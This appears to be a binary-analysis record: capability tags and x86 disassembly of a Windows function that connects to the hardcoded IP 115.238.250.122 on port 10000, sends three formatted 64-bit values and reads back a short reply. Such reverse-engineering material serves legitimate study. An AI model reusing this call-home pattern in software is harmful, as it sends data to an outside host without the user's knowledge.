Function at 0x401490
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x447a7b
mov eax, dword fs:[0]
push eax
sub esp, 0x9b8
mov eax, dword [0x4590c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea edx, [ebp - 0x9b0]
mov dword [ebp - 0x9b4], 0
mov eax, dword [0x45c8d8]
mov ecx, dword [0x45c8dc]
push edx
push 0x202
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x9bc], ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4016c8
push 0x3ff
push eax
mov byte [ebp - 0x410], al
lea eax, [ebp - 0x40f]
push eax
call fcn.004338d0
push 0x3ff
lea ecx, [ebp - 0x80f]
push 0
push ecx
mov byte [ebp - 0x810], 0
call fcn.004338d0
add esp, 0x18
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x4016c8
mov edx, 2
push str.115.238.250.122
mov word [ebp - 0x820], dx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x2710
mov dword [ebp - 0x81c], eax
call dword [sym.imp.WS2_32.dll_htons]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
mov word [ebp - 0x81e], ax
lea eax, [ebp - 0x9b8]
push eax
push 0x1005
push 0xffff
push esi
mov dword [ebp - 0x9b8], 0x7d0
call ebx
cmp eax, 0xffffffff
je 0x4016c8
push 4
lea ecx, [ebp - 0x9b8]
push ecx
push 0x1006
push 0xffff
push esi
mov dword [ebp - 0x9b8], 0x7d0
call ebx
cmp eax, 0xffffffff
je 0x4016c8
push 0x10
lea edx, [ebp - 0x820]
push edx
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4015ec
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x4016c8
push 0x400
lea eax, [ebp - 0x410]
push 0
push eax
call fcn.004338d0
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp + 8]
push edx
mov edx, dword [ebp - 0x9bc]
push eax
mov eax, dword [ebp - 0x9c0]
push ecx
push edx
push eax
lea ecx, [ebp - 0x410]
push str._I64d__I64d__I64d
push ecx
call fcn.00431549
lea eax, [ebp - 0x410]
add esp, 0x2c
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401640
push 0
sub eax, edx
push eax
lea edx, [ebp - 0x410]
push edx
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4015e0
push 0
push 0x64
lea eax, [ebp - 0x810]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4016bb
lea ecx, [ebp - 0x9b4]
push ecx
lea ecx, [ebp - 0x810]
call fcn.00401b50
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x9b4]
add eax, 0xfffffff0
call fcn.00401a60
add eax, 0x10
mov dword [edi], eax
lea eax, [ebp - 0x9b4]
call fcn.00402630
jmp 0x4016d3
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push edi
mov ecx, 0x44e978
call fcn.00401e30
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00430efe
mov esp, ebp
pop ebp
ret